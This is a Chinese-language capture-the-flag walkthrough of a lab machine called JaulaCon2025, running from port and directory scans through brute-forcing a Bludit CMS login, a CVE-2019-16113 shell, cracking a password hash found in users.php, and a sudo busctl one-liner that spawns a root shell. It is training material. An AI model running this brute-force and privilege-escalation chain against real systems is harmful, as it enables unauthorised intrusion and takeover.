JaulaCon2025

信息搜集

192.168.100.49

端口扫描

┌──(root㉿LAPTOP-O235O5EH)-[~]
└─# rustscan -a 192.168.100.49
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.49:22
Open 192.168.100.49:80
[~] Starting Script(s)
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-30 15:43 +0800
Initiating ARP Ping Scan at 15:43
Scanning 192.168.100.49 [1 port]
Completed ARP Ping Scan at 15:43, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:43
Completed Parallel DNS resolution of 1 host. at 15:43, 2.50s elapsed
DNS resolution of 1 IPs took 2.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 15:43
Scanning 192.168.100.49 [2 ports]
Discovered open port 22/tcp on 192.168.100.49
Discovered open port 80/tcp on 192.168.100.49
Completed SYN Stealth Scan at 15:43, 0.01s elapsed (2 total ports)
Nmap scan report for 192.168.100.49
Host is up, received arp-response (0.00050s latency).
Scanned at 2026-03-30 15:43:03 CST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:9A:9B:16 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

‍

枚举 80

目录扫描

╭─root@LAPTOP-O235O5EH ~
╰─# gobuster dir -u http://192.168.100.49/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.100.49/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,txt,html,zip,db,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 301) [Size: 0] [--> http://jaulacon2025.thl/# license, visit http://creativecommons.org/licenses/by-sa/3.0]
0                    (Status: 200) [Size: 4541]
admin                (Status: 301) [Size: 0] [--> http://jaulacon2025.thl/admin/]
install.php          (Status: 200) [Size: 30]
robots.txt           (Status: 200) [Size: 22]
LICENSE              (Status: 200) [Size: 1083]
server-status        (Status: 403) [Size: 279]

‍

需要写入hosts文件

1	192.168.100.49 jaulacon2025.thl

‍

/admin路由需要用户名和密码。这是一个bludit CMS同时查看源码可以知道具体的版本查看一下是否存在CVE

https://github.com/Kenun99/CVE-2019-16113-Dockerfile

但是需要用户名和密码。

又找了一下找到一个爆破用户密码的

https://github.com/CuriosidadesDeHackers/Bludit-3.9.2-Auth-Bypass/tree/main

user.txt是添加的Jaulacon2025

1	python3 Bludit-Auth-Bypass.py -l http://192.168.100.49/admin/login.php -u user.txt -p /usr/share/wordlists/rockyou.txt

登录凭证 Jaulacon2025:cassandra

获取shell

由于现在已经有用户名和密码了所以之前使用之前的脚本

https://github.com/Kenun99/CVE-2019-16113-Dockerfile

修改一下脚本

‍

提权

www -> Jaulacon2025

在/var/www/html中含有数据库的配置里面存在用户凭证

var/www/html/bl-content/databases/users.php

解密hash

https://crackstation.net/

第三个可以解密

Jaulacon2025:Brutales

‍

JaulaCon2025 -> root

busctl提权

Gtfobins有现成方案https://gtfobins.org/gtfobins/busctl/

1	sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'